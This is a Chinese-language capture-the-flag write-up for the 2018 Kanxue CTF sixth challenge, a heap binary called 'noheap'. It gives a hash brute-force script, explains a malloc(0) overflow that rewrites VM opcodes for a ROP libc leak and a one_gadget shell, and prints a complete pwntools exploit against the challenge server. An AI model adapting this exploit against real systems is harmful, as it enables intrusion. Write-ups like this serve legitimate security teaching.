-
-
[原创]2018看雪CTF第六题WP
-
2018-6-27 22:54 2545
-
checksec
Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
额。。。四种保护全开了
Random Hash
Hash算法不可逆,将43**4种情况打表,存储在文件中,exploit时查找hash值把对应的Payload提取出来
from pwn import p32 from binascii import * chars = '' for i in range(43): chars += chr(ord('0') + i) with open('bf','w') as f: for c1 in chars: print c1 for c2 in chars: for c3 in chars: for c4 in chars: s = c1 + c2 + c3 + c4 n = (ord(c4)<<24) + (ord(c3)<<16) + (ord(c2)<<8) + ord(c1) t1 = (0x343fd*n + 0x269ec3)%0x100000000 t2 = (0x343fd*t1 + 0x269ec3)%0x100000000 s1 = p32(t1) + p32(t2) t3 = 0 for i in range(8): t3 = t3*131 + ord(s1[i]) s2 = hex(t3%0x100000000) f.write('s:%s s1:%s s2:%s\n'%(s,hexlify(s1),s2))
VM
VM中的代码有点绕,但其实就是根据opcode,布置栈上数据。提供了各式各样的数据处理能力,加减乘除,与非异或。(其实有加减就够了)
opcode的初始化
opcode位于input正下方
malloc(0)引发的溢出漏洞
ROP
Opcode Payload的构造比较麻烦,这里就说说getshell的大体思路:
1、malloc(0,payload1) ------> 溢出设置opcode1
2、free ------> 但其实调用的不是free,而是进行opcode1布置好的ROP,leak libc基址。
3、malloc(0,payload2) ------> 溢出设置opcode2
4、free ------> 调用的也不是free,直接跳至libc中的one_gadget getshell
下图是opcode1构造ROP的栈布局:
完整EXP
from pwn import * import re from binascii import unhexlify #context.log_level = 'debug' bin = ELF('./noheap') libc = ELF('./libc-2.23.so') one_gadget = 0x4526a with open('bf') as f: data = f.read() def malloc(n,content): p.send('1') p.recvuntil(':') p.send(str(n)) p.recvuntil(':') p.send(content) p.recvuntil('>> ') #p = process('./noheap') p = remote('139.199.99.130',8989) s = p.recvuntil('Input:') hash = re.findall('Hash:(.*)\n',s)[0] log.info('Hash = %s'%(hash)) pattern = 's1:(.*) s2:0x%s'%(hash.lstrip('0')) payload1 = re.findall(pattern,data)[0] p.send(unhexlify(payload1)) p.recvuntil('>> ') payload2 = 'a'*0x80 payload2 += '\x01\x02\x13\x01\x00\x01\x00\x01' payload2 += '\x00\x01\x00\x01\x00\x01\x00\x01' payload2 += '\x00\x01\x02\x13\x01\x00\x01\x00' payload2 += '\x01\x02\x13' payload2 += '\x01\x44\x04\x05\x01\x05\x14' payload2 += '\x01\x4c\x04\x05\x01\x06\x14' payload2 += '\x01\x54\x04\x06\x01\x07\x14' payload2 += '\x01\x5c\x04\x05\x01\x08\x14' payload2 += '\x01\x64\x04\x06\x01\x09\x14' payload2 += '\x01\x6c\x04\x05' payload2 += '\x16\x00' payload2 += '\xa5\x06' + '\x00'*6 payload2 += '\x32\x06' + '\x00'*6 payload2 += '\x64\x02' + '\x00'*6 payload2 += '\x35\x02' + '\x00'*6 payload2 += '\xb0\x24\x20' + '\x00'*5 payload2 += '\x4d\x17\x20' + '\x00'*5 malloc(0,payload2) p.send('3') s = p.recvuntil('>> ') libc_base = u64(s[:6]+'\x00\x00') - libc.symbols['puts'] log.info('libc_base:%s'%hex(libc_base)) target = libc_base+one_gadget payload3 = 'a'*0x80 payload3 += '\x01\x01\x13\x01\x00\x01\x00\x01' payload3 += '\x00\x01\x00\x01\x00\x01\x00\x01' payload3 += '\x00\x01\x01\x13\x01\x00\x01\x00' payload3 += '\x01\x03\x14' payload3 += '\x01\x21\x04\x06' payload3 += '\x16\x00' payload3 += p64(target) malloc(0,payload3) p.send('3') p.interactive()
GetShell
ps:
题目中提供了一个show函数输出堆内存,但是我没有用上。
题中可分配内存的大小为[0,0x80],尝试了很久,似乎怎么分配都是fastbin。(对堆管理不熟悉。。。)
如果能用show()来leak libc基址,exp会简单很多,不需要构造ROP了。
不知道是我的姿势不够还是这是作者有意设置的一个误导选手的坑呢?
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2018-6-28 05:12
被mratlatsn编辑
,原因:
赞赏
他的文章
看原图